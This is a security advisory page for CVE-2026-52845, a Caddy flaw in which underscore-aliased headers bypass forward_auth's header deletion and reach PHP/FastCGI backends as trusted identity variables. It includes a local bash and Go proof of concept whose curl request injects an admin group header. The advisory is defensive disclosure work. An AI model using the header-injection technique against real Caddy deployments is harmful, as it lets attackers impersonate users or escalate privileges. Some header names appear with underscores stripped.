CVE-2026-52845: Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

Published Jun 16, 2026
·
Updated

Summary

forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with .

This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable:

text Remote-Groups -> HTTPREMOTEGROUPS RemoteGroups -> HTTPREMOTEGROUPS

Remote-User -> HTTPREMOTEUSER RemoteUser -> HTTPREMOTEUSER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forwardauth copyheaders intentionally removes client-controlled headers before setting values from the auth response:

- modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212 - modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

- modules/caddyhttp/headers/headers.go:255 - modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete RemoteGroups.

Later, FastCGI exports all request headers into CGI variables:

- modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

go strings.NewReplacer(" ", "", "-", "")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

bash set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX) mkdir -p "$tmpdir/www" printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO' package main

import ( "fmt" "log" "net" "net/http" "net/http/fcgi" )

func main() { go func() { mux := http.NewServeMux() mux.HandleFunc("/auth", func(w http.ResponseWriter, r http.Request) { w.Header().Set("Remote-User", "alice") w.WriteHeader(http.StatusNoContent) }) log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux)) }()

ln, err := net.Listen("tcp", "127.0.0.1:19010") if err != nil { log.Fatal(err) } log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "HTTPREMOTEUSER=%s\nHTTPREMOTEGROUPS=%s\n", r.Header.Get("Remote-User"), r.Header.Get("Remote-Groups")) }))) } GO

cat > "$tmpdir/Caddyfile" <<EOF { admin off autohttps off debug }

:9082 { log root $tmpdir/www forwardauth 127.0.0.1:19011 { uri /auth copyheaders Remote-User Remote-Groups } phpfastcgi 127.0.0.1:19010 } EOF

cleanup() { kill "${caddypid:-}" "${serverspid:-}" 2>/dev/null || true } trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 & serverspid=$!

for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 && (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then break fi sleep 0.25 done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 & caddypid=$!

for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then break fi sleep 0.25 done

curl --noproxy '' -v http://127.0.0.1:9082/index.php curl --noproxy '' -v -H 'RemoteGroups: admin' http://127.0.0.1:9082/index.php cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

text > GET /index.php HTTP/1.1 < HTTP/1.1 200 OK

HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=

With attacker header:

text > GET /index.php HTTP/1.1 > RemoteGroups: admin < HTTP/1.1 200 OK

HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

text "HTTPREMOTEUSER": "alice" "HTTPREMOTEGROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

- forwardauth with copyheaders for identity or authorization headers; - phpfastcgi / FastCGI after the auth check; - a PHP/FastCGI application that trusts the resulting HTTP variables.

Impact examples:

- deterministic group/role injection when the auth gateway omits an optional header, e.g. RemoteGroups: admin becomes HTTPREMOTEGROUPS=admin; - probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and RemoteUser both map to HTTPREMOTEUSER.

Realistic examples include trusted-header SSO deployments such as Firefly III remoteuserguard using HTTPREMOTEUSER, or MediaWiki Authremoteuser using HTTPXAUTHENTIKUSERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

Other sources

Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with . This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.

MITRE

Affected Software

3 affected componentsFixes available
go/github.com/caddyserver/caddy<=1.0.5
go/github.com/caddyserver/caddy/v2<2.11.4
2.11.4
caddyserver Caddy<2.11.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/caddyserver/caddy/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.4
  2. Upgrade

    Upgrade Caddy to a version that resolves this vulnerability.

    Fixed in 2.11.4
  3. Compensating control

    If you cannot upgrade immediately, prevent PHP/FastCGI backends from trusting client-controlled identity/group headers that may be mapped into CGI variables (e.g., do not trust HTTP_REMOTE_USER/HTTP_REMOTE_GROUPS derived from HTTP Remote-User/Remote-Groups).

Event History

Jun 16, 2026
Advisory Published
via GitHub·09:28 PM
Data Sourced
via GitHub·09:28 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·05:52 PM
Data Sourced
via MITRE·05:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Red Hat·07:02 PM
DescriptionSeverityAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-52845?

CVE-2026-52845 has a severity rating of high, with a score of 8.1.

2

What is the risk level of CVE-2026-52845?

CVE-2026-52845 is associated with a risk level of 60.

3

How do I fix CVE-2026-52845?

To mitigate CVE-2026-52845, ensure proper validation and sanitization of client-supplied identity headers.

4

What impact could CVE-2026-52845 have on my application?

CVE-2026-52845 could allow an attacker to manipulate identity headers, potentially leading to security breaches.

5

Which software versions are affected by CVE-2026-52845?

CVE-2026-52845 affects versions of Caddy found in go/github.com/caddyserver/caddy and go/github.com/caddyserver/caddy/v2.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203